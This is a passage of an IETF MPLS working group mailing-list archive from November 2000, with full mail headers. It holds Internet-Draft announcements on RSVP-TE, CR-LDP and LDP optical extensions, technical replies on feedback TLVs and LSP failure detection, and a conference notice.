cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjoob19758 for ; Thu, 9 Nov 2000 11:22:02 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id GAA22764 for mpls@uu.net; Thu, 9 Nov 2000 06:22:01 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjoob00189 for ; Thu, 9 Nov 2000 11:21:27 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjoob06598 for ; Thu, 9 Nov 2000 11:20:48 GMT Received: from ietf.org by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: odin.ietf.org [132.151.1.176]) id QQjoob17883 for ; Thu, 9 Nov 2000 11:20:47 GMT Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA11040; Thu, 9 Nov 2000 06:20:47 -0500 (EST) Message-Id: <200011091120.GAA11040@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:; Cc: mpls@UU.NET From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-mpls-rsvp-unnum-00.txt Date: Thu, 09 Nov 2000 06:20:46 -0500 Sender: owner-mpls@UU.NET Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF. Title : Signalling Unnumbered Links in RSVP-TE Author(s) : K. Kompella, Y. Rekhter Filename : draft-ietf-mpls-rsvp-unnum-00.txt Pages : 8 Date : 08-Nov-00 Current signalling used by MPLS TE doesn't provide support for unnumbered links. This document defines procedures and extensions to RSVP-TE, one of the MPLS TE signalling protocols, that are needed in order to support unnumbered links. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-mpls-rsvp-unnum-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-mpls-rsvp-unnum-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-mpls-rsvp-unnum-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20001108122158.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-mpls-rsvp-unnum-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-mpls-rsvp-unnum-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20001108122158.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-mpls@UU.NET Thu Nov 9 06:24:16 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA12398 for ; Thu, 9 Nov 2000 06:24:16 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoob23905; Thu, 9 Nov 2000 11:23:09 GMT Received: by mail-control.mail.uu.net id QQjoob00241 for mpls-outgoing; Thu, 9 Nov 2000 11:22:40 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjoob00225 for ; Thu, 9 Nov 2000 11:22:24 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjoob11278 for ; Thu, 9 Nov 2000 11:22:21 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjoob20203 for ; Thu, 9 Nov 2000 11:22:20 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id GAA22800 for mpls@uu.net; Thu, 9 Nov 2000 06:22:20 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjoob00207 for ; Thu, 9 Nov 2000 11:21:55 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjoob02831 for ; Thu, 9 Nov 2000 11:20:43 GMT Received: from ietf.org by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: odin.ietf.org [132.151.1.176]) id QQjoob17756 for ; Thu, 9 Nov 2000 11:20:43 GMT Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA10998; Thu, 9 Nov 2000 06:20:42 -0500 (EST) Message-Id: <200011091120.GAA10998@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:; Cc: mpls@UU.NET From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-mpls-crldp-unnum-00.txt Date: Thu, 09 Nov 2000 06:20:42 -0500 Sender: owner-mpls@UU.NET Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF. Title : Signalling Unnumbered Links in CR-LDP Author(s) : K. Kompella, Y. Rekhter, A. Kullberg Filename : draft-ietf-mpls-crldp-unnum-00.txt Pages : 7 Date : 08-Nov-00 Current signalling used by MPLS TE doesn't provide support for unnumbered links. This document defines procedures and extensions to CR-LDP, one of the MPLS TE signalling protocols, that are needed in order to support unnumbered links. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-mpls-crldp-unnum-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-mpls-crldp-unnum-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-mpls-crldp-unnum-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20001108122149.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-mpls-crldp-unnum-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-mpls-crldp-unnum-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20001108122149.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-mpls@UU.NET Thu Nov 9 06:25:28 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA12799 for ; Thu, 9 Nov 2000 06:25:28 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoob19110; Thu, 9 Nov 2000 11:23:56 GMT Received: by mail-control.mail.uu.net id QQjoob00249 for mpls-outgoing; Thu, 9 Nov 2000 11:22:44 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjoob00228 for ; Thu, 9 Nov 2000 11:22:31 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjoob24638 for ; Thu, 9 Nov 2000 11:22:06 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjoob19842 for ; Thu, 9 Nov 2000 11:22:05 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id GAA22781 for mpls@uu.net; Thu, 9 Nov 2000 06:22:05 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjoob00194 for ; Thu, 9 Nov 2000 11:21:27 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjoob06163 for ; Thu, 9 Nov 2000 11:20:39 GMT Received: from ietf.org by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: odin.ietf.org [132.151.1.176]) id QQjoob17632 for ; Thu, 9 Nov 2000 11:20:39 GMT Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA10970; Thu, 9 Nov 2000 06:20:38 -0500 (EST) Message-Id: <200011091120.GAA10970@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:; Cc: mpls@UU.NET From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-mpls-ldp-optical-uni-00.txt Date: Thu, 09 Nov 2000 06:20:38 -0500 Sender: owner-mpls@UU.NET Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF. Title : LDP Extensions for Optical User Network Interface (O-UNI) Signaling Author(s) : O. Aboul-Magd, R. Jain, L. Jia, B. Rajagopalan, R. Rennison, Y. Xu, Z. Zhang Filename : draft-ietf-mpls-ldp-optical-uni-00.txt Pages : 17 Date : 08-Nov-00 General requirements for signaling across the Optical UNI (O-UNI) are discussed in [1]. This draft describes extensions to the LDP protocol [2] to support those requirements. The LDP extensions described here address two areas: - The addition of new TLVs to support the attributes required for lightpath establishment at the O-UNI A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-mpls-ldp-optical-uni-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-mpls-ldp-optical-uni-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-mpls-ldp-optical-uni-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20001108122140.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-mpls-ldp-optical-uni-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-mpls-ldp-optical-uni-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20001108122140.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-mpls@UU.NET Thu Nov 9 08:04:37 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA15601 for ; Thu, 9 Nov 2000 08:04:32 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjooi16153; Thu, 9 Nov 2000 13:03:26 GMT Received: by mail-control.mail.uu.net id QQjooi28283 for mpls-outgoing; Thu, 9 Nov 2000 13:03:07 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjooi28260 for ; Thu, 9 Nov 2000 13:03:04 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjooi17144 for ; Thu, 9 Nov 2000 13:02:25 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjooi04828 for ; Thu, 9 Nov 2000 13:02:24 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id IAA28832 for mpls@uu.net; Thu, 9 Nov 2000 08:02:24 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjooi23947 for ; Thu, 9 Nov 2000 13:01:49 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjooi23842 for ; Thu, 9 Nov 2000 13:01:33 GMT Received: from xover.hjinc.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [38.160.241.130]) id QQjooi29346 for ; Thu, 9 Nov 2000 13:01:33 GMT Received: by xover.hjinc.com with Internet Mail Service (5.5.2650.21) id ; Thu, 9 Nov 2000 07:59:45 -0500 Message-ID: <87009604743AD411B1F600508BA0F95914B3AF@xover.hjinc.com> From: "Bui, Khanh" To: mpls@UU.NET Subject: draft-ietf-mpls-te-feed-01 Date: Thu, 9 Nov 2000 07:59:45 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Hi, I have a couple of questions on this draft. 1. How should the U and F bits be set in the feedback TLV? Should they both be set to 1 so that the message containing this TLV will go through any node that doesn't support feedback TLV, and eventually will get to the source node? 2. How should the feedback TLV be handled if the message containing this TLV travels from one autonomous system or from one IGP area to another? Should the TLV be filtered out at the edge node before entering the other AS or other IGP area? Thanks in advance, Khanh From owner-mpls@UU.NET Thu Nov 9 09:01:05 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA06030 for ; Thu, 9 Nov 2000 09:01:05 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjool09538; Thu, 9 Nov 2000 13:59:57 GMT Received: by mail-control.mail.uu.net id QQjool03025 for mpls-outgoing; Thu, 9 Nov 2000 13:59:25 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjool03015 for ; Thu, 9 Nov 2000 13:59:15 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjool07230 for ; Thu, 9 Nov 2000 13:58:12 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjool27663 for ; Thu, 9 Nov 2000 13:58:12 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id IAA03295 for mpls@uu.net; Thu, 9 Nov 2000 08:58:11 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjool02977 for ; Thu, 9 Nov 2000 13:57:44 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjool04473 for ; Thu, 9 Nov 2000 13:57:18 GMT Received: from mail1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail1.cisco.com [171.68.225.60]) id QQjool05646 for ; Thu, 9 Nov 2000 13:57:18 GMT Received: from jsauviac (jsauviac-isdn3.cisco.com [10.21.1.44]) by mail1.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id FAA12400 for ; Thu, 9 Nov 2000 05:57:16 -0800 (PST) From: "Jason Sauviac" To: Subject: unsubscribe Date: Thu, 9 Nov 2000 06:52:00 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <200011091120.GAA10998@ietf.org> X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 Importance: Normal Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit unsubscribe From owner-mpls@UU.NET Thu Nov 9 09:15:35 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA11583 for ; Thu, 9 Nov 2000 09:15:35 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoom01017; Thu, 9 Nov 2000 14:14:41 GMT Received: by mail-control.mail.uu.net id QQjoom15696 for mpls-outgoing; Thu, 9 Nov 2000 14:14:17 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjoom15690 for ; Thu, 9 Nov 2000 14:14:13 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjoom02742 for ; Thu, 9 Nov 2000 14:13:45 GMT Received: from smtprch1.nortel.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtprch1.nortelnetworks.com [192.135.215.14]) id QQjoom14823 for ; Thu, 9 Nov 2000 14:13:44 GMT Received: from zcard00m.ca.nortel.com by smtprch1.nortel.com; Thu, 9 Nov 2000 08:09:41 -0600 Received: from zcard00p.ca.nortel.com ([47.129.25.61]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id WRAFRP9R; Thu, 9 Nov 2000 09:07:47 -0500 Received: from americasm01.nt.com (wcars0v1.ca.nortel.com [47.14.98.167]) by zcard00p.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id VNHGF1QG; Thu, 9 Nov 2000 08:54:48 -0500 Message-ID: <3A0AACA4.EAB2FF68@americasm01.nt.com> Date: Thu, 09 Nov 2000 08:54:44 -0500 From: "Darek Skalecki" Organization: Nortel Networks X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: "Bui, Khanh" CC: mpls@UU.NET Subject: Re: draft-ietf-mpls-te-feed-01 References: <87009604743AD411B1F600508BA0F95914B3AF@xover.hjinc.com> Content-Type: multipart/alternative; boundary="------------0D7100F8800F734430C89BA4" Sender: owner-mpls@UU.NET Precedence: bulk --------------0D7100F8800F734430C89BA4 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit "Bui, Khanh" wrote: > Hi, > > I have a couple of questions on this draft. > > 1. How should the U and F bits be set in the feedback TLV? > Should they both be set to 1 so that the message containing > this TLV will go through any node that doesn't support > feedback TLV, and eventually will get to the source node? The idea is that nodes which do not support Feedback TLVs simply pass these TLVs transparently. This obviously can create discontinuity in the information that is fed back, i.e. information about some links along the path can be omitted. > > > 2. How should the feedback TLV be handled if the message > containing this TLV travels from one autonomous system or > from one IGP area to another? Should the TLV be filtered > out at the edge node before entering the other AS or other > IGP area? Yes, all the Feedback TLVs present on a message should be dropped when the message exits AS or IGP area through an edge node. > > > Thanks in advance, > Khanh -- Darek Skalecki Nortel (613) 765-2252 --------------0D7100F8800F734430C89BA4 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit "Bui, Khanh" wrote:
Hi,

I have a couple of questions on this draft.

1. How should the U and F bits be set in the feedback TLV?
   Should they both be set to 1 so that the message containing
   this TLV will go through any node that doesn't support
   feedback TLV, and eventually will get to the source node?

The idea is that nodes which do not support Feedback TLVs simply pass these TLVs transparently. This obviously can create discontinuity in the information that is fed back, i.e. information about some links along the path can be omitted.
 

2. How should the feedback TLV be handled if the message
   containing this TLV travels from one autonomous system or
   from one IGP area to another?  Should the TLV be filtered
   out at the edge node before entering the other AS or other
   IGP area?

Yes, all the Feedback TLVs present on a message should be dropped when the message exits AS or IGP area through an edge node.
 

Thanks in advance,
Khanh

-- 
Darek Skalecki
Nortel 
(613) 765-2252
  --------------0D7100F8800F734430C89BA4-- From owner-mpls@UU.NET Thu Nov 9 10:23:00 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA08297 for ; Thu, 9 Nov 2000 10:23:00 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoor25133; Thu, 9 Nov 2000 15:20:55 GMT Received: by mail-control.mail.uu.net id QQjoor03892 for mpls-outgoing; Thu, 9 Nov 2000 15:20:15 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjoor03871 for ; Thu, 9 Nov 2000 15:20:07 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjoor13179 for ; Thu, 9 Nov 2000 15:19:30 GMT Received: from smtp1.cluster.oleane.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtp1.cluster.oleane.net [195.25.12.16]) id QQjoor07723 for ; Thu, 9 Nov 2000 15:19:28 GMT Received: from oleane (dyn-1-2-139.Vin.dialup.oleane.fr [194.2.4.139]) by smtp1.cluster.oleane.net with SMTP id eA9FJG577832 for ; Thu, 9 Nov 2000 16:19:17 +0100 (CET) Message-ID: <00b301c04a60$d68f3840$8001a8c0@oleane.com> From: "Peter Lewis" To: Subject: IP over DWDM 2000 conference Date: Thu, 9 Nov 2000 16:22:08 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00AB_01C04A69.34EAD2C0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_00AB_01C04A69.34EAD2C0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable IP over DWDM 2000 conference, Paris, 24-27 November : a unique = opportunity for researchers, network operators and service providers = from both the IP world and the optical networking world to discuss the = potentialities of the new Internet network architectures.=20 Please visit: http://www.upperside.fr/badwdm.htm ------=_NextPart_000_00AB_01C04A69.34EAD2C0 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
IP over DWDM 2000 conference, Paris, 24-27 = November : a=20 unique opportunity for researchers, network operators and service = providers from=20 both the IP world and the optical networking world to discuss the = potentialities=20 of the new Internet network architectures.
Please visit:
http://www.upperside.fr/badwd= m.htm
------=_NextPart_000_00AB_01C04A69.34EAD2C0-- From owner-mpls@UU.NET Thu Nov 9 10:26:35 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09483 for ; Thu, 9 Nov 2000 10:26:35 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoor01368; Thu, 9 Nov 2000 15:24:53 GMT Received: by mail-control.mail.uu.net id QQjoor04646 for mpls-outgoing; Thu, 9 Nov 2000 15:24:17 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjoor04624 for ; Thu, 9 Nov 2000 15:24:09 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjoor21309 for ; Thu, 9 Nov 2000 15:22:58 GMT Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjoor14368 for ; Thu, 9 Nov 2000 15:22:57 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id HAA06999 for ; Thu, 9 Nov 2000 07:23:00 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id KAA03122 for mpls@uu.net; Thu, 9 Nov 2000 10:22:55 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjook01536 for ; Thu, 9 Nov 2000 13:41:06 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjook15570 for ; Thu, 9 Nov 2000 13:40:47 GMT Received: from tiny-teddy.aarnet.edu.au by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: tiny-teddy.aarnet.edu.au [203.21.37.30]) id QQjook00041 for ; Thu, 9 Nov 2000 13:40:45 GMT Received: from aarnet.edu.au (sa033.dialup.csiro.au [144.110.4.33]) by tiny-teddy.aarnet.edu.au (8.9.3/8.9.3) with ESMTP id AAA19702; Fri, 10 Nov 2000 00:10:18 +1030 Message-ID: <3A0AA93A.95CC91ED@aarnet.edu.au> Date: Fri, 10 Nov 2000 00:10:10 +1030 From: Glen Turner Organization: Australian Academic and Research Network X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-3 i686) X-Accept-Language: en MIME-Version: 1.0 To: neil.2.harrison@bt.com CC: david.charlap@marconi.com, mpls@UU.NET Subject: Re: LSP failure detection References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit neil.2.harrison@bt.com wrote: > > What is the defect entry criteria on these rapid Hellos? I would strongly > suggest that if anyone is thinking of trying to get very fast reactions > times to be used for restoration they should be very careful. In my view > restoration times above the L1 (ie PDH/SDH/OTN) should not be faster than > somewhere in the region of 2-3s.....otherwise you are going to get a lot of > unecessary hits when the event would of have self-healed. And if anyone is > using some multi-level priority bumping scheme then (esp at highish > utilisations) this can lead to significant network disruptions felt far > beyoind the initial event source. [this is my first port to the WG, please don't flame me if i've missed the point too badly] Hi Neil, One of the reasons for improving the reaction time, and the OAM performance in general, is to dispense with protection at the SDH layer and move protection into MPLS. For a start this gives the ability to drive a SDH Main and Protect pair at more than just the Main bandwidth. Of course, we still have to engineer the 